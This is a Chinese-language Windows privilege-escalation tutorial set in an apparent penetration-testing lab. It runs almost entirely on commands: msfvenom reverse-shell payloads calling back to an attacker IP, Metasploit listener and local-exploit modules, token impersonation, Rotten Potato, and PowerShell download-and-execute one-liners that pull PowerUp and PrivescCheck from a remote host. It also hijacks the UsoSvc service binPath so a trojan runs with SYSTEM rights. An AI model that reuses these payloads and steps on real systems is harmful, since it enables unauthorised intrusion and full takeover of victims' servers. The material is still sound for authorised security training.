提权
是指把普通用户的权限进行提升至高权限的过程,也叫特权提升
在渗透测试中,通过是各种漏洞提升已获取的webshell权限以夺得服务器权限
MSF权限提升思路:
Msfvenom生成后门来反弹连接msf,查找目标有哪些可利用的漏洞然后进行提权...
步骤一:使用Msfvenom生成木马...并通过WebShell上传至目标服务器...
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe >s.exe
步骤二:在MSF进行监听....
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.113
set lport 4444
exploit
步骤三:运行木马,获取反弹的Meterpreter Shell...
上传木马并运行
步骤四:在MeterpreterShell中运行POST模块来查询补丁安装信息....(可选操作)
run post/windows/gather/enum_patches
步骤五:获取提权EXP...
background
use post/multi/recon/local_exploit_suggester
set session 1
exploit
步骤六:选择以上结果中的随意EXP...不一定那个能用...
search ms16_075 #获取模块相关信息
use 1 #调用搜索出来的第一个模块
set session 1 #在模块中设置进行提权的会话
exploit #开始提权...
步骤七:权限维持进行进程迁移...
ps | grep explore #查看文件管理器进程
migrate 2340 #迁移至文件管理器进程
getuid #获取当前会话权限
getsystem #获取system权限
getuid #获取当前会话权限
getpid #获取当前会话进程ID
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌,而假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻
》》》令牌种类《《《
访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾
》》》适用系统《《《
令牌窃取是一种可以权限提升的技术,适用的操作系统版本如下:
假设:当前已经获取目标主机的权限,但通过MSF中的getsystem
和其他提权方式失败....
use incognito #进入incognito模块
list_tokens -u #列出令牌
impersonate_token "NT AUTHORITY\SYSTEM" # 选择要窃取的账号
步骤一:在MSF中生成是木马并通过Webshell上传至Wins12R2靶机中...
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe >s.exe
步骤二:在MSF开启监听并在WebShell中运行木马程序...
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.113
set lport 4444
exploit
步骤三:由于权限太低,不足以通过令牌窃取提权,导致失败....
步骤四:通过Webshell上传烂土豆程序运行并进行令牌窃取提权...
Windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。且windows服务是以system
权限运行的,其文件夹、文件和注册表key-value
都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
》》》PowerUp《《《
项目地址:https://github.com/HarmJ0y/PowerUp
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.14/PowerUp.ps1'); Invoke-AllChecks"
》》》PrivescCheck《《《
项目地址:https://github.com/itm4n/PrivescCheck.git
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.14/PrivescCheck.ps1'); Invoke-PrivescCheck"
》》》实验概况《《《
操作系统 |
服务/角色 |
Wins19 |
IIS/靶机 |
Kali 2022 |
MSF/攻击者 |
步骤一:在Webshell中执行以下PowerShell命令...
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.113:9000/PrivescCheck.ps1'); Invoke-PrivescCheck"
步骤二:在网页中搜索 NT AUTHORITY\SERVICE,发现有一个叫 UsoSvc 的服务里面有它,用户是本地system
。且NT AUTHORITY\SERVICE拥有本机计算机的最小的权限,并且在网络中扮演一个计算机的角色,该账户没有密码....
步骤三:接下来的思路就是使用MSF生成一个木马并上传到目标系统上面,然后告诉UsoSvc
,你运行的时候,要运行这个木马文件。
sc query UsoSvc #查看UsoSvc的运行状态
sc stop UsoSvc #停止运行UsoSvc
sc start UsoSvc #启动UsoSvc
步骤四:MSF生成木马通过Webshell上传至网站根目录并做好监听....
#生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.113 lport=3333 -f exe > ob.exe
#开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 3333
set lhost 192.168.0.113
run
步骤五:停止并确认UsoSvc
服务的状态...
sc stop UsoSvc
sc query UsoSvc
步骤六:设置UsoSvc的bin文件路径为木马的路径...需要注意等号后是有空格的...
sc config usosvc binPath= "C:\web\ob.exe"
步骤七:启动UsoSvc服务..
sc start UsoSvc
步骤八:虽然连接上了但是当Windows启动服务器失败时连接就会断开....因此需要设置进程迁移,在MSF中设置有session过来就会做进程迁移....
set AutoRunScript migrate -f
攻击思路:获取到一个低权限的Session,然后查看目标系统有没有可利用的错误配置...
步骤一:获取一个低权限的Meterpreter Shell...这里不在赘述过程...
步骤二:将当前会话置到后台并运行以下攻击模块...
background
use exploit/windows/local/service_permissions
set session 3
run
注解:service_permissions
模块会使用两种方式获取system
权限,如果以管理员权限运行,会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的。